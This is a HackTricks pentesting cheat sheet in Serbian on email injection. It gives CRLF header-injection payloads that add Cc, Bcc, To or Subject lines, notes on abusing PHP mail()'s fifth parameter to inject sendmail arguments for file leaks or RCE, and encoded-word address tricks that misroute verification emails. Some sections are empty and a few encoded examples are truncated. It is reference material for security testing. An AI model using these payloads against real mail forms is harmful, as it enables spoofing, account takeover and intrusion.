# Email Injections
\
Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Podržite HackTricks
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
{% endhint %}
## Umetnite u poslatu e-poštu
### Umetnite Cc i Bcc nakon argumenta pošiljaoca
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Poruka će biti poslata na naloge recipient i recipient1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Poruka će biti poslata originalnom primaocu i nalogu napadača.
### Inject Subject argument
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Lažni predmet će biti dodat originalnom predmetu i u nekim slučajevima će ga zameniti. To zavisi od ponašanja usluge e-pošte.
### Promenite telo poruke
Ubaci dva nova reda, a zatim napiši svoju poruku da bi promenio telo poruke.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() funkcija eksploatacija
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### Peti parametar ($additional\_parameters)
Ovaj deo će se zasnivati na **kako zloupotrebiti ovaj parametar pod pretpostavkom da napadač njime upravlja**.
Ovaj parametar će biti dodat u komandnu liniju koju će PHP koristiti za pozivanje binarnog sendmail-a. Međutim, biće sanitizovan funkcijom `escapeshellcmd($additional_parameters)`.
Napadač može **ubaciti dodatne parametre za sendmail** u ovom slučaju.
#### Razlike u implementaciji /usr/sbin/sendmail
**sendmail** interfejs je **obezbeđen od strane MTA email softvera** (Sendmail, Postfix, Exim itd.) instaliranog na sistemu. Iako **osnovna funkcionalnost** (kao što su -t -i -f parametri) ostaje **ista** iz razloga kompatibilnosti, **druge funkcije i parametri** se značajno razlikuju u zavisnosti od instaliranog MTA.
Evo nekoliko primera različitih man stranica za sendmail komandu/interfejs:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
U zavisnosti od **izvora sendmail** binarne datoteke otkrivene su različite opcije za zloupotrebu i **curenje fajlova ili čak izvršavanje proizvoljnih komandi**. Proverite kako u [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Ubacivanje u ime e-pošte
{% hint style="danger" %}
Imajte na umu da ako uspete da kreirate nalog u servisu sa proizvoljnim imenom domena (kao što su Github, Gitlab, CloudFlare Zero trust...) i verifikujete ga primajući verifikacioni email na vašu adresu, možda ćete moći da pristupite osetljivim mestima kompanije žrtve
{% endhint %}
### Ignorisani delovi e-pošte
Simboli: **+, -** i **{}** u retkim slučajevima mogu se koristiti za označavanje i ignorisati od strane većine e-mail servera
* Npr. john.doe+intigriti@example.com → john.doe@example.com
**Komentari između zagrada ()** na početku ili kraju će takođe biti ignorisani
* Npr. john.doe(intigriti)@example.com → john.doe@example.com
### Zaobilaženje bele liste
### Citati
### IP adrese
Takođe možete koristiti IP adrese kao imena domena između uglastih zagrada:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Kodiranje e-pošte
Kao što je objašnjeno u [**ovoj studiji**](https://portswigger.net/research/splitting-the-email-atom), imena e-pošte takođe mogu sadržati kodirane karaktere:
* **PHP 256 overflow**: PHP `chr` funkcija će nastaviti dodavati 256 karakteru dok ne postane pozitivan, a zatim izvršiti operaciju `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Cilj ovog trika je da se završi sa injekcijom poput `RCPT TO:<"collab@psres.net>collab"@example.com>`\
koja će poslati verifikacioni email na drugu email adresu od očekivane (tako da se unese druga email adresa unutar imena e-pošte i prekine sintaksa prilikom slanja email-a)
{% endhint %}
Različita kodiranja:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@